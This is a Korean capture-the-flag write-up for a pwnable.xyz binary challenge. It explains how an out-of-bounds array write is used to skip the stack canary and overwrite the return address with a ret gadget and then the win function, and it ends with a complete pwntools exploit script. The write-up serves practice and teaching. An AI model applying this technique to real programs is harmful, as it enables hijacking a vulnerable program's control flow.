분석
이번에는 웬일로 바이너리에 checksec을 해보면
RELRO가 Partial.
PIE가 없다.
64bit 바이너리
그리곤 이렇게 input도 있다.
이제 ida를 보자
주석도 좀 달고 했는데
canary를 입력받아두고
0x50만큼을 memset으로 0으로 덮어버린다 canary까지는 아니다 어차피 크기가 0x60이라서
scanf는 아무래도 입력받은 인자 수를 반환하는 듯 하니 3개의 숫자를 입력해야하는 것 같고
v7으로부터 [v6]번째 인덱스에 v4+v5를 대입한다.
그리고
win이라는 함수도 존재한다.
got등을 덮을 때 이걸로 덮으면 되겠다.
풀이
v4는 rbp-0x78
v5 는 0x70
v6 0x68
v7은 0x60에 있다.
흠 .. gdb를 보아하니..
got가 아니라 ret를 덮어야 할 거 같다. 이걸 바로 알지 못하고 봐야 안다니..
v7[11]이 cnry. rbp-0x8이었으니
v7[13]으로 해서 ret를 덮으면 될거같다.
우선 v6 = 13..
그리고 win주소를 만들기 위해서 (0x400822)
2로 나누면 0x200411.
10진수로 2098193이니까 이걸 v4, v5에 넣고
OOB를 이용해서 canary를 우회하면 될 것이다.
그렇게 ret에 win이 들어가긴 하는데
'a'를 넣어서 종료시키니까
rsp가 맞지 않아서 do_system+1094에서 멈춘다.
그러면 ROPgadget에서 ret 가젯을 찾아서 추가해본다.
위 2097477 부분이 ret가젯을 넣는 부분이다.
ret를 ret가젯으로 덮고
다음 주소를 win으로 덮으면
ret를 거쳐 win이 실행된다.
여기서도 oob write임을 알려준다.
from pwn import *
p = process('./challenge')
p = remote('svc.pwnable.xyz', 30002)
#win = 0x0000000000400822
#v4 = 0x200411
#v5 = 0x200411 #v4+v5 == win
#v6 = 13 #index
#ret = 0x0000000040028b
p.recvuntil(': ')
p.sendline('2097477 2097478 13')
p.recv()
p.sendline('2098193 2098193 14')
p.recv()
p.sendline('a') #make break;
p.interactive()